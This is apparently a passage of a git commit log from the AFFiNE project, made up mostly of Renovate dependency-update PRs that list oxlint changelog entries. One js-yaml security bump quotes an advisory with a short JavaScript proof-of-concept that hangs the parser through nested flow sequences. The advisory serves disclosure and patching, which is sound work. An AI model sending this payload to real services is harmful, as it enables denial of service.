[`47d34a3`](https://redirect.github.com/oxc-project/oxc/commit/47d34a3)
linter: Add schema for `react/jsx-handler-names`
([#&#8203;23393](https://redirect.github.com/oxc-project/oxc/issues/23393))
(WaterWhisperer)
-
[`f4250d0`](https://redirect.github.com/oxc-project/oxc/commit/f4250d0)
linter: Add schema for `unicorn/import-style`
([#&#8203;23386](https://redirect.github.com/oxc-project/oxc/issues/23386))
(WaterWhisperer)
-
[`30c74ce`](https://redirect.github.com/oxc-project/oxc/commit/30c74ce)
linter: Add schema for
`jsx_a11y/no-noninteractive-element-to-interactive-role`
([#&#8203;23384](https://redirect.github.com/oxc-project/oxc/issues/23384))
(Sysix)
-
[`cfbe8dc`](https://redirect.github.com/oxc-project/oxc/commit/cfbe8dc)
linter: Add schema for
`jsx_a11y/no-interactive-element-to-noninteractive-role`
([#&#8203;23382](https://redirect.github.com/oxc-project/oxc/issues/23382))
(WaterWhisperer)
-
[`d15b7ff`](https://redirect.github.com/oxc-project/oxc/commit/d15b7ff)
linter: Add schema for `typescript/no-restricted-types`
([#&#8203;23381](https://redirect.github.com/oxc-project/oxc/issues/23381))
(WaterWhisperer)
-
[`028a811`](https://redirect.github.com/oxc-project/oxc/commit/028a811)
linter: Add schema for `jsx-a11y/media-has-caption`
([#&#8203;23377](https://redirect.github.com/oxc-project/oxc/issues/23377))
(Sysix)
-
[`b3b1038`](https://redirect.github.com/oxc-project/oxc/commit/b3b1038)
linter: Add schema for `jsx-a11y/label-has-associated-control`
([#&#8203;23376](https://redirect.github.com/oxc-project/oxc/issues/23376))
(Sysix)
-
[`7ada6b2`](https://redirect.github.com/oxc-project/oxc/commit/7ada6b2)
linter: Add schema for `jsx_a11y/no-distracting-elements`
([#&#8203;23379](https://redirect.github.com/oxc-project/oxc/issues/23379))
(WaterWhisperer)
-
[`ee3dd49`](https://redirect.github.com/oxc-project/oxc/commit/ee3dd49)
linter: Add schema for `jsx-a11y/img-redundant-alt`
([#&#8203;23374](https://redirect.github.com/oxc-project/oxc/issues/23374))
(Sysix)
-
[`df5f8dd`](https://redirect.github.com/oxc-project/oxc/commit/df5f8dd)
linter: Add short descriptions to most lint rules.
([#&#8203;23365](https://redirect.github.com/oxc-project/oxc/issues/23365))
(Connor Shea)
-
[`e3fd735`](https://redirect.github.com/oxc-project/oxc/commit/e3fd735)
linter: Add schema for `jsx_a11y/alt-text`
([#&#8203;23369](https://redirect.github.com/oxc-project/oxc/issues/23369))
(Sysix)
-
[`0f2fff4`](https://redirect.github.com/oxc-project/oxc/commit/0f2fff4)
linter: Add schema for `react/exhaustive-deps`
([#&#8203;23372](https://redirect.github.com/oxc-project/oxc/issues/23372))
(Mikhail Baev)
-
[`e3e4e10`](https://redirect.github.com/oxc-project/oxc/commit/e3e4e10)
linter: Add schema for `react_perf/jsx-no-new-object-as-prop`
([#&#8203;23368](https://redirect.github.com/oxc-project/oxc/issues/23368))
(Mikhail Baev)
-
[`9366d44`](https://redirect.github.com/oxc-project/oxc/commit/9366d44)
linter: Add schema for `unicorn/prefer-at`
([#&#8203;23366](https://redirect.github.com/oxc-project/oxc/issues/23366))
(WaterWhisperer)
-
[`f57b55d`](https://redirect.github.com/oxc-project/oxc/commit/f57b55d)
linter: Add schema for `typescript/array-type`
([#&#8203;23355](https://redirect.github.com/oxc-project/oxc/issues/23355))
(Sysix)
-
[`0dcf912`](https://redirect.github.com/oxc-project/oxc/commit/0dcf912)
linter: Add schema for `typescript/ban-ts-comment`
([#&#8203;23354](https://redirect.github.com/oxc-project/oxc/issues/23354))
(Sysix)
-
[`51fa83e`](https://redirect.github.com/oxc-project/oxc/commit/51fa83e)
linter: Add schema for `react/no-did-update-set-state`
([#&#8203;23357](https://redirect.github.com/oxc-project/oxc/issues/23357))
(Mikhail Baev)
-
[`59db0bd`](https://redirect.github.com/oxc-project/oxc/commit/59db0bd)
linter: Add schema for `consistent-generic-constructors`
([#&#8203;23353](https://redirect.github.com/oxc-project/oxc/issues/23353))
(Sysix)
-
[`c4775c0`](https://redirect.github.com/oxc-project/oxc/commit/c4775c0)
linter: Add schema for `typescript/consistent-type-assertions`
([#&#8203;23349](https://redirect.github.com/oxc-project/oxc/issues/23349))
(Sysix)
-
[`6e516f7`](https://redirect.github.com/oxc-project/oxc/commit/6e516f7)
linter: Add schema for `typescript/consistent-type-imports`
([#&#8203;23348](https://redirect.github.com/oxc-project/oxc/issues/23348))
(Sysix)
-
[`012134d`](https://redirect.github.com/oxc-project/oxc/commit/012134d)
linter: Add schema for `react/jsx-no-target-blank`
([#&#8203;23345](https://redirect.github.com/oxc-project/oxc/issues/23345))
(WaterWhisperer)
-
[`0806aae`](https://redirect.github.com/oxc-project/oxc/commit/0806aae)
linter: Add schema for `jsx_a11y/no-noninteractive-tabindex`
([#&#8203;23337](https://redirect.github.com/oxc-project/oxc/issues/23337))
(Mikhail Baev)
-
[`0708b5a`](https://redirect.github.com/oxc-project/oxc/commit/0708b5a)
linter: Add schema for `react/jsx-filename-extension`
([#&#8203;23315](https://redirect.github.com/oxc-project/oxc/issues/23315))
(Mikhail Baev)
-
[`150bce1`](https://redirect.github.com/oxc-project/oxc/commit/150bce1)
linter: Add schema for `typescript/no-empty-object-type`
([#&#8203;23309](https://redirect.github.com/oxc-project/oxc/issues/23309))
(Sysix)
-
[`f9e36f1`](https://redirect.github.com/oxc-project/oxc/commit/f9e36f1)
linter: Add schema for `typescript/no-duplicate-type-constituents`
([#&#8203;23308](https://redirect.github.com/oxc-project/oxc/issues/23308))
(Sysix)
-
[`937accf`](https://redirect.github.com/oxc-project/oxc/commit/937accf)
linter: Add schema for `typescript/no-invalid-void-type`
([#&#8203;23307](https://redirect.github.com/oxc-project/oxc/issues/23307))
(Sysix)
-
[`3e042b9`](https://redirect.github.com/oxc-project/oxc/commit/3e042b9)
linter: Add schema for `typescript/no-misused-promises`
([#&#8203;23306](https://redirect.github.com/oxc-project/oxc/issues/23306))
(Sysix)
-
[`da212d1`](https://redirect.github.com/oxc-project/oxc/commit/da212d1)
linter: Add schema for `typescript/no-unnecessary-condition`
([#&#8203;23305](https://redirect.github.com/oxc-project/oxc/issues/23305))
(Sysix)
-
[`f8f0d38`](https://redirect.github.com/oxc-project/oxc/commit/f8f0d38)
linter: Add schema for `typescript/parameter-properties`
([#&#8203;23304](https://redirect.github.com/oxc-project/oxc/issues/23304))
(Sysix)
-
[`2275fc7`](https://redirect.github.com/oxc-project/oxc/commit/2275fc7)
linter: Add schema for `typescript/prefer-nullish-coalescing`
([#&#8203;23302](https://redirect.github.com/oxc-project/oxc/issues/23302))
(Sysix)
-
[`d353858`](https://redirect.github.com/oxc-project/oxc/commit/d353858)
linter: Add schema for `typescript/prefer-string-starts-ends-with`
([#&#8203;23301](https://redirect.github.com/oxc-project/oxc/issues/23301))
(Sysix)
-
[`03060f5`](https://redirect.github.com/oxc-project/oxc/commit/03060f5)
linter: Add schema for `typescript/triple-slash-reference`
([#&#8203;23300](https://redirect.github.com/oxc-project/oxc/issues/23300))
(Sysix)
-
[`6619cee`](https://redirect.github.com/oxc-project/oxc/commit/6619cee)
linter: Add schema for `promise/param-names`
([#&#8203;23298](https://redirect.github.com/oxc-project/oxc/issues/23298))
(Sysix)
-
[`8bf108e`](https://redirect.github.com/oxc-project/oxc/commit/8bf108e)
linter: Add schema for `promise/catch-or-return`
([#&#8203;23297](https://redirect.github.com/oxc-project/oxc/issues/23297))
(Sysix)
-
[`48158d0`](https://redirect.github.com/oxc-project/oxc/commit/48158d0)
linter: Add schema for `vitest/consistent-each-for`
([#&#8203;23294](https://redirect.github.com/oxc-project/oxc/issues/23294))
(Sysix)
-
[`7e74c98`](https://redirect.github.com/oxc-project/oxc/commit/7e74c98)
linter: Add schema for `vitest/consistent-test-filename`
([#&#8203;23293](https://redirect.github.com/oxc-project/oxc/issues/23293))
(Sysix)
-
[`ff94d4a`](https://redirect.github.com/oxc-project/oxc/commit/ff94d4a)
linter: Add schema for `vitest/consistent-vitest-vi`
([#&#8203;23292](https://redirect.github.com/oxc-project/oxc/issues/23292))
(Sysix)
-
[`2409a10`](https://redirect.github.com/oxc-project/oxc/commit/2409a10)
linter: Add schema for `vitest/prefer-import-in-mock`
([#&#8203;23291](https://redirect.github.com/oxc-project/oxc/issues/23291))
(Sysix)
-
[`3d782b7`](https://redirect.github.com/oxc-project/oxc/commit/3d782b7)
linter: Add schema for `react/no-unstable-nested-components`
([#&#8203;23287](https://redirect.github.com/oxc-project/oxc/issues/23287))
(Mikhail Baev)
-
[`0a0bc2f`](https://redirect.github.com/oxc-project/oxc/commit/0a0bc2f)
linter/jsx-a11y: Add `allowedRedundantRoles` option to
`no-redundant-roles`
([#&#8203;22820](https://redirect.github.com/oxc-project/oxc/issues/22820))
(bab)
-
[`80758a5`](https://redirect.github.com/oxc-project/oxc/commit/80758a5)
linter/vue: Implement no-side-effects-in-computed-properties rule
([#&#8203;23282](https://redirect.github.com/oxc-project/oxc/issues/23282))
(bab)
-
[`e3869ac`](https://redirect.github.com/oxc-project/oxc/commit/e3869ac)
linter: Add schema for `react/no-object-type-as-default-prop`
([#&#8203;23279](https://redirect.github.com/oxc-project/oxc/issues/23279))
(Mikhail Baev)
-
[`4480609`](https://redirect.github.com/oxc-project/oxc/commit/4480609)
linter: Add schema for `react/jsx-props-no-spreading`
([#&#8203;23276](https://redirect.github.com/oxc-project/oxc/issues/23276))
(Mikhail Baev)
-
[`08d68a5`](https://redirect.github.com/oxc-project/oxc/commit/08d68a5)
linter/react: Implement `jsx-no-literals` rule
([#&#8203;23145](https://redirect.github.com/oxc-project/oxc/issues/23145))
(kapobajza)
-
[`9a2788b`](https://redirect.github.com/oxc-project/oxc/commit/9a2788b)
linter/unicorn: Implement `prefer-export-from` rule
([#&#8203;22935](https://redirect.github.com/oxc-project/oxc/issues/22935))
(AliceLanniste)
-
[`bdb723c`](https://redirect.github.com/oxc-project/oxc/commit/bdb723c)
linter/unicorn: Implement prefer-single-call rule
([#&#8203;23235](https://redirect.github.com/oxc-project/oxc/issues/23235))
(Yuzhe Shi)
-
[`31543ed`](https://redirect.github.com/oxc-project/oxc/commit/31543ed)
linter: Add schema for `vue/define-props-destructuring`
([#&#8203;23252](https://redirect.github.com/oxc-project/oxc/issues/23252))
(Sysix)
-
[`21b6c3d`](https://redirect.github.com/oxc-project/oxc/commit/21b6c3d)
linter: Add schema for `oxc/no-async-endpoint-handlers`
([#&#8203;23251](https://redirect.github.com/oxc-project/oxc/issues/23251))
(Sysix)
-
[`e77ff81`](https://redirect.github.com/oxc-project/oxc/commit/e77ff81)
linter: Add schema for `unicorn/prefer-object-from-entries`
([#&#8203;23249](https://redirect.github.com/oxc-project/oxc/issues/23249))
(Mikhail Baev)
-
[`bcac2d6`](https://redirect.github.com/oxc-project/oxc/commit/bcac2d6)
linter: Add schema for `jest/vitest/no-restricted-matchers`
([#&#8203;23247](https://redirect.github.com/oxc-project/oxc/issues/23247))
(Sysix)
-
[`539f036`](https://redirect.github.com/oxc-project/oxc/commit/539f036)
linter: Add schema for `jest/vitest/no-restricted-*-methods`
([#&#8203;23246](https://redirect.github.com/oxc-project/oxc/issues/23246))
(Sysix)
-
[`dd1b927`](https://redirect.github.com/oxc-project/oxc/commit/dd1b927)
linter/vue: Implement require-default-prop rule
([#&#8203;22951](https://redirect.github.com/oxc-project/oxc/issues/22951))
(bab)
-
[`3f018e7`](https://redirect.github.com/oxc-project/oxc/commit/3f018e7)
linter: Add schema for `unicorn/no-instanceof-builtins`
([#&#8203;23225](https://redirect.github.com/oxc-project/oxc/issues/23225))
(Mikhail Baev)
-
[`e0d0f78`](https://redirect.github.com/oxc-project/oxc/commit/e0d0f78)
linter: Verify promise/no-callback-in-promise schema
([#&#8203;23141](https://redirect.github.com/oxc-project/oxc/issues/23141))
(beanscg)
-
[`123d4f4`](https://redirect.github.com/oxc-project/oxc/commit/123d4f4)
linter: Add schema for `jest/vitest/valid-expect`
([#&#8203;23185](https://redirect.github.com/oxc-project/oxc/issues/23185))
(Sysix)
-
[`46c8a21`](https://redirect.github.com/oxc-project/oxc/commit/46c8a21)
linter: Add schema for `jest/vitest/require-top-level-describe`
([#&#8203;23184](https://redirect.github.com/oxc-project/oxc/issues/23184))
(Sysix)
-
[`41465cf`](https://redirect.github.com/oxc-project/oxc/commit/41465cf)
linter: Add schema for `jest/vitest/prefer-snapshot-hint`
([#&#8203;23183](https://redirect.github.com/oxc-project/oxc/issues/23183))
(Sysix)
-
[`d068b9b`](https://redirect.github.com/oxc-project/oxc/commit/d068b9b)
linter: Add schema for `jest/vitest/prefer-expect-assertions`
([#&#8203;23181](https://redirect.github.com/oxc-project/oxc/issues/23181))
(Sysix)
-
[`064a1ee`](https://redirect.github.com/oxc-project/oxc/commit/064a1ee)
linter: Add schema for `jest/prefer-ending-with-an-expect`
([#&#8203;23180](https://redirect.github.com/oxc-project/oxc/issues/23180))
(Sysix)
-
[`d046797`](https://redirect.github.com/oxc-project/oxc/commit/d046797)
linter: Add schema for `jest/vitest/no-standalone-expect`
([#&#8203;23179](https://redirect.github.com/oxc-project/oxc/issues/23179))
(Sysix)
-
[`137b9a6`](https://redirect.github.com/oxc-project/oxc/commit/137b9a6)
linter: Add schema for `jest/vitest/no-large-snapshots`
([#&#8203;23178](https://redirect.github.com/oxc-project/oxc/issues/23178))
(Sysix)
-
[`0f3e4a5`](https://redirect.github.com/oxc-project/oxc/commit/0f3e4a5)
linter: Add schema for `jest/vitest/no-hooks`
([#&#8203;23177](https://redirect.github.com/oxc-project/oxc/issues/23177))
(Sysix)
-
[`cd0b384`](https://redirect.github.com/oxc-project/oxc/commit/cd0b384)
linter: Add schema for `unicorn/explicit-length-check`
([#&#8203;23155](https://redirect.github.com/oxc-project/oxc/issues/23155))
(Mikhail Baev)
-
[`01b74c4`](https://redirect.github.com/oxc-project/oxc/commit/01b74c4)
linter: Add schema for `jest/no-deprecated-functions`
([#&#8203;23136](https://redirect.github.com/oxc-project/oxc/issues/23136))
(Sysix)
-
[`9d6a387`](https://redirect.github.com/oxc-project/oxc/commit/9d6a387)
linter: Add schema for `unicorn/catch-error-name`
([#&#8203;23137](https://redirect.github.com/oxc-project/oxc/issues/23137))
(Mikhail Baev)
-
[`0da8efa`](https://redirect.github.com/oxc-project/oxc/commit/0da8efa)
linter: Add schema for `jest/vitest/max-nested-describe`
([#&#8203;23131](https://redirect.github.com/oxc-project/oxc/issues/23131))
(Sysix)
-
[`d71c9fd`](https://redirect.github.com/oxc-project/oxc/commit/d71c9fd)
linter: Add schema for `eslint/no-use-before-define`
([#&#8203;23129](https://redirect.github.com/oxc-project/oxc/issues/23129))
(Sysix)

##### 🐛 Bug Fixes

-
[`26ddac6`](https://redirect.github.com/oxc-project/oxc/commit/26ddac6)
linter: Avoid config schema generation for
`jsx_a11y/no-noninteractive-element-interactions`
([#&#8203;23385](https://redirect.github.com/oxc-project/oxc/issues/23385))
(Sysix)
-
[`40556ad`](https://redirect.github.com/oxc-project/oxc/commit/40556ad)
linter: Parse `jsx-a11y/control-has-associated-label` config with
`DefaultRuleConfig`
([#&#8203;23373](https://redirect.github.com/oxc-project/oxc/issues/23373))
(Sysix)
-
[`71e9648`](https://redirect.github.com/oxc-project/oxc/commit/71e9648)
linter: Expose no-noninteractive-element-interactions schema
([#&#8203;23283](https://redirect.github.com/oxc-project/oxc/issues/23283))
(camc314)
-
[`6c86d1c`](https://redirect.github.com/oxc-project/oxc/commit/6c86d1c)
linter/react-perf: Correct nativeAllowList all schema
([#&#8203;23229](https://redirect.github.com/oxc-project/oxc/issues/23229))
(camc314)
-
[`4dd52de`](https://redirect.github.com/oxc-project/oxc/commit/4dd52de)
linter/react-perf: Re-generate stale snapshots
([#&#8203;23228](https://redirect.github.com/oxc-project/oxc/issues/23228))
(camc314)
-
[`8f3db61`](https://redirect.github.com/oxc-project/oxc/commit/8f3db61)
linter: Allow options for `eslint/capitalized-comments`
([#&#8203;23139](https://redirect.github.com/oxc-project/oxc/issues/23139))
(Sysix)

##### ⚡ Performance

-
[`f09707e`](https://redirect.github.com/oxc-project/oxc/commit/f09707e)
linter: `jest/no-deprecated-functions` store config version as `usize`
([#&#8203;23138](https://redirect.github.com/oxc-project/oxc/issues/23138))
(Sysix)

##### 📚 Documentation

-
[`f682e25`](https://redirect.github.com/oxc-project/oxc/commit/f682e25)
linter: Remove manually written options doc for
`eslint/prefer-arrow-callback`
([#&#8203;23438](https://redirect.github.com/oxc-project/oxc/issues/23438))
(Mikhail Baev)
-
[`64c942c`](https://redirect.github.com/oxc-project/oxc/commit/64c942c)
linter: Remove manually written options doc for `eslint/no-sequences`
([#&#8203;23420](https://redirect.github.com/oxc-project/oxc/issues/23420))
(Mikhail Baev)
-
[`14abf32`](https://redirect.github.com/oxc-project/oxc/commit/14abf32)
linter/react-perf: Use autogenerated docs
([#&#8203;23227](https://redirect.github.com/oxc-project/oxc/issues/23227))
(camc314)

###
[`v1.69.0`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#1690---2026-06-08)

[Compare
Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v1.68.0...oxlint_v1.69.0)

##### 🚀 Features

-
[`e805174`](https://redirect.github.com/oxc-project/oxc/commit/e805174)
linter: Add schema for `jest/vitest/max-expects`
([#&#8203;23105](https://redirect.github.com/oxc-project/oxc/issues/23105))
(Sysix)
-
[`7850577`](https://redirect.github.com/oxc-project/oxc/commit/7850577)
linter: Add schema for `jest/vitest/expect-expect`
([#&#8203;23104](https://redirect.github.com/oxc-project/oxc/issues/23104))
(Sysix)
-
[`75f641a`](https://redirect.github.com/oxc-project/oxc/commit/75f641a)
linter: Add schema for `jest/vitest/consistent-test-it`
([#&#8203;23103](https://redirect.github.com/oxc-project/oxc/issues/23103))
(Sysix)
-
[`5125f89`](https://redirect.github.com/oxc-project/oxc/commit/5125f89)
linter/unicorn: Support no-null `checkArguments` option
([#&#8203;23098](https://redirect.github.com/oxc-project/oxc/issues/23098))
(camc314)
-
[`b8b9797`](https://redirect.github.com/oxc-project/oxc/commit/b8b9797)
linter: Add schema for `import-max-dependencies`
([#&#8203;23096](https://redirect.github.com/oxc-project/oxc/issues/23096))
(Sysix)
-
[`65cb47a`](https://redirect.github.com/oxc-project/oxc/commit/65cb47a)
linter/eslint: Support no-unused-expressions `ignoreDirectives` option
([#&#8203;23097](https://redirect.github.com/oxc-project/oxc/issues/23097))
(camc314)
-
[`f6c36d5`](https://redirect.github.com/oxc-project/oxc/commit/f6c36d5)
linter: Add schema for `import/prefer-default-export`
([#&#8203;23091](https://redirect.github.com/oxc-project/oxc/issues/23091))
(Sysix)
-
[`0d4a5d1`](https://redirect.github.com/oxc-project/oxc/commit/0d4a5d1)
linter: Add schema for `eslint/sort-vars`
([#&#8203;23090](https://redirect.github.com/oxc-project/oxc/issues/23090))
(Sysix)
-
[`fdb5bf5`](https://redirect.github.com/oxc-project/oxc/commit/fdb5bf5)
linter: Add schema for `eslint/radix`
([#&#8203;23082](https://redirect.github.com/oxc-project/oxc/issues/23082))
(Sysix)
-
[`05b4dcf`](https://redirect.github.com/oxc-project/oxc/commit/05b4dcf)
linter: Add schema for `eslint/prefer-const`
([#&#8203;23081](https://redirect.github.com/oxc-project/oxc/issues/23081))
(Sysix)
-
[`5a06c4d`](https://redirect.github.com/oxc-project/oxc/commit/5a06c4d)
linter/vue: Implement next-tick-style rule
([#&#8203;23041](https://redirect.github.com/oxc-project/oxc/issues/23041))
(Alex Peshkov)
-
[`e38a36a`](https://redirect.github.com/oxc-project/oxc/commit/e38a36a)
linter: Add schema for `eslint/operator-assignment`
([#&#8203;23080](https://redirect.github.com/oxc-project/oxc/issues/23080))
(Sysix)
-
[`907cee7`](https://redirect.github.com/oxc-project/oxc/commit/907cee7)
linter: Add schema for `eslint/no-warning-comments`
([#&#8203;23075](https://redirect.github.com/oxc-project/oxc/issues/23075))
(Sysix)
-
[`9470bb2`](https://redirect.github.com/oxc-project/oxc/commit/9470bb2)
linter: Add schema for `eslint/no-unused-vars`
([#&#8203;23073](https://redirect.github.com/oxc-project/oxc/issues/23073))
(Sysix)
-
[`234b5cf`](https://redirect.github.com/oxc-project/oxc/commit/234b5cf)
linter: Add schema for `eslint/no-shadow`
([#&#8203;23072](https://redirect.github.com/oxc-project/oxc/issues/23072))
(Sysix)
-
[`de0dd8b`](https://redirect.github.com/oxc-project/oxc/commit/de0dd8b)
linter: Add schema for `eslint/no-restricted-exports`
([#&#8203;23020](https://redirect.github.com/oxc-project/oxc/issues/23020))
(Sysix)
-
[`faa3e0d`](https://redirect.github.com/oxc-project/oxc/commit/faa3e0d)
linter: Add schema for `eslint/no-param-reassign`
([#&#8203;23018](https://redirect.github.com/oxc-project/oxc/issues/23018))
(Sysix)
-
[`dbc9c27`](https://redirect.github.com/oxc-project/oxc/commit/dbc9c27)
linter: Add schema for `eslint/no-magic-numbers`
([#&#8203;23017](https://redirect.github.com/oxc-project/oxc/issues/23017))
(Sysix)
-
[`38d3569`](https://redirect.github.com/oxc-project/oxc/commit/38d3569)
linter: Add schema for `eslint/no-inner-declarations`
([#&#8203;23016](https://redirect.github.com/oxc-project/oxc/issues/23016))
(Sysix)
-
[`008fa41`](https://redirect.github.com/oxc-project/oxc/commit/008fa41)
linter: Add schema for `eslint/no-constant-condition`
([#&#8203;22991](https://redirect.github.com/oxc-project/oxc/issues/22991))
(Sysix)
-
[`ca44623`](https://redirect.github.com/oxc-project/oxc/commit/ca44623)
linter: Add schema for `eslint/no-empty-function`
([#&#8203;22988](https://redirect.github.com/oxc-project/oxc/issues/22988))
(Sysix)
-
[`43eb04d`](https://redirect.github.com/oxc-project/oxc/commit/43eb04d)
linter: Add schema for `eslint/id-match`
([#&#8203;22987](https://redirect.github.com/oxc-project/oxc/issues/22987))
(Sysix)
-
[`a800f27`](https://redirect.github.com/oxc-project/oxc/commit/a800f27)
linter: Add schema for `eslint/capitalized-comments`
([#&#8203;22984](https://redirect.github.com/oxc-project/oxc/issues/22984))
(Sysix)
-
[`96e2d32`](https://redirect.github.com/oxc-project/oxc/commit/96e2d32)
linter: Add schema for `eslint/id-length`
([#&#8203;22963](https://redirect.github.com/oxc-project/oxc/issues/22963))
(Sysix)
-
[`545493f`](https://redirect.github.com/oxc-project/oxc/commit/545493f)
linter: Add schema for `eslint/complexity`
([#&#8203;22960](https://redirect.github.com/oxc-project/oxc/issues/22960))
(Sysix)
-
[`5f0b558`](https://redirect.github.com/oxc-project/oxc/commit/5f0b558)
linter: Add schema for `eslint/class-methods-use-this`
([#&#8203;22959](https://redirect.github.com/oxc-project/oxc/issues/22959))
(Sysix)
-
[`719b720`](https://redirect.github.com/oxc-project/oxc/commit/719b720)
linter: Add schema for simple rule configurations
([#&#8203;22948](https://redirect.github.com/oxc-project/oxc/issues/22948))
(Sysix)
-
[`fd00966`](https://redirect.github.com/oxc-project/oxc/commit/fd00966)
linter: Add right schema for `eslint/max-*` rules
([#&#8203;22923](https://redirect.github.com/oxc-project/oxc/issues/22923))
(Sysix)
-
[`1226d78`](https://redirect.github.com/oxc-project/oxc/commit/1226d78)
linter: Fill schema with rule configurations
([#&#8203;22907](https://redirect.github.com/oxc-project/oxc/issues/22907))
(Sysix)
-
[`8f423c1`](https://redirect.github.com/oxc-project/oxc/commit/8f423c1)
linter/vue: Implement `require-direct-export` rule
([#&#8203;17623](https://redirect.github.com/oxc-project/oxc/issues/17623))
(yefan)
-
[`78e915b`](https://redirect.github.com/oxc-project/oxc/commit/78e915b)
linter/vue: Implement no-reserved-props rule
([#&#8203;22914](https://redirect.github.com/oxc-project/oxc/issues/22914))
(bab)
-
[`0f200a9`](https://redirect.github.com/oxc-project/oxc/commit/0f200a9)
linter/vue: Implement require-prop-types rule
([#&#8203;22083](https://redirect.github.com/oxc-project/oxc/issues/22083))
(Alex Peshkov)
-
[`5da9da9`](https://redirect.github.com/oxc-project/oxc/commit/5da9da9)
linter/vue: Implement no-reserved-keys rule
([#&#8203;21780](https://redirect.github.com/oxc-project/oxc/issues/21780))
(bab)
-
[`75e14a8`](https://redirect.github.com/oxc-project/oxc/commit/75e14a8)
linter/vue: Implement prop-name-casing rule
([#&#8203;22892](https://redirect.github.com/oxc-project/oxc/issues/22892))
(bab)

##### 🐛 Bug Fixes

-
[`0383e61`](https://redirect.github.com/oxc-project/oxc/commit/0383e61)
linter: Fix schema for rules without a config
([#&#8203;22946](https://redirect.github.com/oxc-project/oxc/issues/22946))
(Sysix)

##### 📚 Documentation

-
[`dadafe3`](https://redirect.github.com/oxc-project/oxc/commit/dadafe3)
oxlint, oxfmt: Mention migrate skills in npm READMEs
([#&#8203;22965](https://redirect.github.com/oxc-project/oxc/issues/22965))
(Boshen)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4zLjIiLCJ1cGRhdGVkSW5WZXIiOiI0NC4zLjIiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-07-31 17:08:39 +08:00
DarkSky 758b2260f8 feat(server): improve ci build (#15386)
#### PR Dependency Tree


* **PR #15386** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
  * Improved email rendering and formatting consistency.
* Preserved calendar synchronization windows while removing reliance on
date utility libraries.
* Enhanced cleanup of Prisma engine files, including deduplication and
space-saving reporting.

* **Tests**
  * Updated email snapshots to validate formatted HTML output.

* **Refactor**
* Streamlined email component usage and centralized email rendering
behavior.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-07-31 17:07:05 +08:00
renovate[bot] fb647b6003 chore: bump up js-yaml version to v5 [SECURITY] (#15385)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [js-yaml](https://redirect.github.com/nodeca/js-yaml) | [`^4.2.0` →
`^5.0.0`](https://renovatebot.com/diffs/npm/js-yaml/4.3.0/5.2.2) |
![age](https://developer.mend.io/api/mc/badges/age/npm/js-yaml/5.2.2?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/js-yaml/4.3.0/5.2.2?slim=true)
|

---

### js-yaml: Exponential parsing time in flow collections leads to
denial of service

[GHSA-pm4m-ph32-ghv5](https://redirect.github.com/advisories/GHSA-pm4m-ph32-ghv5)

<details>
<summary>More information</summary>

#### Details
##### Summary
Parsing a small YAML document can take exponential time. An application
that calls `load()` or `loadAll()` on untrusted input can be hung by a
payload under 200 bytes.

##### Details
When an entry in a flow sequence turns out to be a `key: value` pair,
the parser rewinds and parses that entry a second time as the key.
If the key is itself a nested flow sequence of the same shape, every
level is parsed twice, so the total work is O(2^n) in the nesting depth.
The default `maxDepth` of 100 does not help, because the time is already
unmanageable at about 30 to 40 levels.

Root cause, potentially the: `readFlowCollection` in
[parser.ts](https://redirect.github.com/nodeca/js-yaml/blob/master/src/parser/parser.ts),
the `restoreState` followed by a second `parseNode` further down.

##### PoC

```javascript
const yaml = require('js-yaml')
const n = 30
yaml.load('[ '.repeat(n) + '1' + ' ]: 0'.repeat(n))
```

With default options: 22 levels takes about 1 second, 26 levels about 17
seconds, 30 levels over 2 minutes. The input stays under 200 bytes and
grows linearly with `n`.

##### Impact
Denial of service. A single small request can keep one CPU busy for
minutes or longer and blocks the Node event loop, so one request can
stall the whole process. No anchors, aliases, merges, tags, or non
default options are required, and it reproduces on the default schema.

#### Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

#### References
-
[https://github.com/nodeca/js-yaml/security/advisories/GHSA-pm4m-ph32-ghv5](https://redirect.github.com/nodeca/js-yaml/security/advisories/GHSA-pm4m-ph32-ghv5)
-
[https://github.com/nodeca/js-yaml/commit/3e5240f9cbe645ce5afb58524954a13c8539c853](https://redirect.github.com/nodeca/js-yaml/commit/3e5240f9cbe645ce5afb58524954a13c8539c853)
-
[https://github.com/nodeca/js-yaml/releases/tag/5.2.2](https://redirect.github.com/nodeca/js-yaml/releases/tag/5.2.2)
-
[https://github.com/advisories/GHSA-pm4m-ph32-ghv5](https://redirect.github.com/advisories/GHSA-pm4m-ph32-ghv5)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-pm4m-ph32-ghv5)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>nodeca/js-yaml (js-yaml)</summary>

###
[`v5.2.2`](https://redirect.github.com/nodeca/js-yaml/blob/HEAD/CHANGELOG.md#522---2026-07-24)

[Compare
Source](https://redirect.github.com/nodeca/js-yaml/compare/5.2.1...5.2.2)

##### Fixed

- Quote flow scalars where a colon precedes a flow indicator,
[#&#8203;773](https://redirect.github.com/nodeca/js-yaml/issues/773).

##### Security

